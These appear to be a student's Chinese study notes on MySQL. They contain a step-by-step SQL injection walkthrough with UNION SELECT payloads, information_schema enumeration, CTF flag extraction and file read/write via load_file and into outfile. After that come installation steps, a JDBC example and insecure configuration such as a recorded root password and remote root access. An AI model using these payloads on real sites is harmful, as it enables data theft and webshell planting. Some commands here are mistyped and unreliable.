ch14学习笔记(MySQL)
知识点归纳
问题和解决思路
SQL注入怎么实现?
基本流程
0)根据网站功能,猜测哪些地方可能存在注入(select insert注册 update delete)
1) 判断是否存在注入点;
and 1=1 考虑参数类型(闭合特殊符号,JSON)和提交方式post cookie
没有回显即盲注
2) 判断字段长度;order by
3)判断字段回显位置;union select 1,2,3;--+ union select ‘a,’b’,’c’;--+(有时候会过滤数字)
盲注
4) 判断数据库信息;
不是MySQL高版本就直接上sqlmap
Mongdb 用kali 的NoSQLAttack
version()版本;database()数据库;user()用户;
操作系统信息:@@version_compile_os
and 1=2 union all select @@global.version_compile_os from mysql.user
数据库权限:
and ord(mid(user(),1,1))=114 返回正常说明为root
5) 查找数据库名,表名,列名;group_concat(字段/列名)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
Information_schema 下面有三张表:
information_schema.schemata 爆出所有数据库名字
该表中的字段:
Schema_name 存储了MySQL所有数据库的名称
union select 1, group_concat(schema_name) 3,4 from information_schema.schemata;
Information_schema.tables 爆出某个数据库下的所有表的名字
该表中的字段:
table_schema标志当前表的数据库名
Table_name 标志当前表的名称
union select 1, group_concat(table_name) 3,4 from information_schema.tables where table_schema=database();
information_schema.columns 爆出某个数据库某个表下所有字段的名字
该表中的字段:
column_name 标志当前字段的名字
Table_name 标志当前字段所属表的名字
(跨库)Table_schema 标志当前字段所属表所属的数据库名字
union select 1,(select group_concat(column_name) from information_schema.columns where table_name='fl4g'),3,4#
union select 1,(select group_concat(column_name) from information_schema.columns where table_name='fl4g') and table_schema=’跨库’,3,4#
6)在某个数据库某个表中,查询字段下面的数据
-1' union select 1,(select skctf_flag from fl4g),3,4#
-1' union select 1,skctf_flag,3,4 from fl4g;--+
7) 查找数据库表中所有字段以及字段值;
8) 猜解账号密码;
9) 登陆管理员后台。
10) 有权限 读文件和写文件 写:secure_file_priv != NULL
读文件: union select 绝对路径 load_file(‘C:/flag.txt’); 查看网页源代码查看
写入文件:union select into outfile(‘C:/1.php’);
实践内容
mysql安装
-
去官网下载安装包
解压文件
tar -zxvf mysql-8.0.11-linux-glibc2.12-i686.tar.gz -
移动压缩包到usr/local目录下,并重命名文件
mv /root/mysql-8.0.11-linux-glibc2.12-i686 /usr/local/mysql -
在MySQL根目录下新建一个文件夹data,用于存放数据
mkdir data -
创建 mysql 用户组和 mysql 用户
groupadd mysql
useradd -g mysql mysql -
改变 mysql 目录权限
chown -R mysql.mysql /usr/local/mysql/ -
初始化数据库
创建mysql_install_db安装文件
mkdir mysql_install_db
chmod 777 ./mysql_install_db
初始化
bin/mysqld --initialize --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data //初始化数据库
记录好自己的临时密码:twi=Tlsi<0O!
这里遇到了问题没有libnuma.so.1
需要安装 libnuma
yum install libnuma
yum -y install numactl
yum install libaio1 libaio-dev
- mysql配置
cp /usr/local/mysql/support-files/mysql.server /etc/init.d/mysqld
修改my.cnf文件
vim /etc/my.cnf
[mysqld]
basedir = /usr/local/mysql
datadir = /usr/local/mysql/data
socket = /usr/local/mysql/mysql.sock
character-set-server=utf8
port = 3306
sql_mode=NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES
[client]
socket = /usr/local/mysql/mysql.sock
default-character-set=utf8
- 建立MySQL服务
cp -a ./support-files/mysql.server /etc/init.d/mysqld
cp mysql.server /etc/init.d/mysql
chmod +x /etc/init.d/mysql
添加到系统服务
chkconfig --add mysql
cp -a ./support-files/mysql.server /etc/init.d/mysqld
chmod +x /etc/rc.d/init.d/mysqld
chkconfig --add mysqld
检查服务是否生效
chkconfig --list mysqld
- 配置全局环境变量
vim /etc/profile
export PATH=$PATH:/usr/local/mysql/bin:/usr/local/mysql/lib
source /etc/profile
- 启动MySQL服务
service mysql start
查看初始密码
cat /root/.mysql_secret
- 登录MySQL
mysql -uroot -p密码
修改密码:
SET PASSWORD FOR 'root'@localhost=PASSWORD('123456'); #对应的换成你自己的密码即可了。
- 设置可以远程登录
mysql>use mysql
mysql>update user set host='%' where user='root' limit 1;
mysql>flush privileges;
然后检查3306端口是否开放
netstat -nupl|grep 3306
开放3306端口
firewall -cmd --permanent --add-prot=3306/tcp
重启防火墙
firewall -cmd --reload
数据库操作
显示数据库、创建数据库、删除数据库
使用数据库,创建表,显示表,描述表,删除表
增删改查,运行sql脚本
使用ALTER重新设计表
关联表
一对一
JDBC
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
public class DbUtil {
public static final String URL = "jdbc:mysql://localhost:3306/database";
public static final String USER = "user";
public static final String PASSWORD = "password";
public static void main(String[] args) throws Exception {
//1.加载驱动程序
Class.forName("com.mysql.jdbc.Driver");
//2. 获得数据库连接
Connection conn = DriverManager.getConnection(URL, USER, PASSWORD);
//3.操作数据库,实现增删改查
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);
//如果有数据,rs.next()返回true
while(rs.next()){
System.out.println(rs.getString("user_name")+" 年龄:"+rs.getInt("age"));
}
}
}